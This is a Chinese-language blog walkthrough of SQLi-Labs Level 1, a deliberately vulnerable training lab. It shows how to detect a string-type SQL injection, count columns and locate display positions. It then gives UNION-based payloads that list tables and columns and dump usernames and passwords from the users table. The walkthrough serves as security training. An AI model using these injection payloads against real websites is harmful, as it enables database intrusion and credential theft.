SqliLabs Level 1
浏览 484 | 评论 0 | 字数 2057
硝基苯
2021年04月28日
  • Level 1 显错注入 mysql
    68083-bnelj1sx1gj.png
    35356-npuahtzheo.png
    91959-668wz2aw5ax.png
    and 1=2时返回正常,说明不是数字类型注入,且‘1’=‘2’返回错误
    从此可以判断其为字符型注入
    38986-6728utfohw.png
    可以看出其对#号过滤(其实是要用%23,因为#在url里面是注释的原因)
    53752-igfc5qcg4c.png
    对--+无过滤
    47253-7y9kf3yexfh.png
    报错型注入
    65940-vmcy2fenrw.png
    经过判断,3回显正常,4不正常。所以有3列
    03994-i7ftiqsa8s.png
    寻找回显位置,2,3为显示位
    使用union联合查询的前提是必须要有显示位,union可合并两个或多个select语句的结果集,前提是两个select必有相同列(故此需要order by)、且各列的数据类型也相同。当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。这里还要注意一点的就是如果我们让union之前的id=1,这时候会显示id=1的信息并不会回显union之后的select信息,但是如果我们是id=-1此时不会显示id=1的信息而会显示union之后的信息。
    83116-6gitxn3qc6k.png
    在显错位输入查询信息,版本和数据库名称
    83810-fi0w8jasbx.png
    通过@@version>1没有报错可以判断其为mysql的数据库
    group_concat() 函数可以将括号内的东西全部一起显示
    67239-febqousezu.png
    04565-dgvsv3oznb8.png
    知道数据库名为security后可以爆表名
    payload:
    id=1' and '1' ='2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
    96188-xxdbmdghbbe.png
    可以看到该库下有以上的表,查看user表的字段
    payload:
    id=1' and '1' ='2' union select 1,2,group_concat(column_name) from information_schema. columns where table_name='users'--+
    74748-lcbj2ao1y5n.png
    此时知道列名,即可爆出数据
    payload:
    ?id=1' and '1' ='2' union select 1,2,group_concat(username,0x7e,password) from security.users--+
    04994-xbd8sle8p5.png

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/45/
    最后修改时间:2021-05-19 21:37:46
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论
    与本文无关评论请发留言板。请不要水评论,谢谢。
    textsms
    支持 Markdown 语法
    email
    link
    评论列表
    暂无评论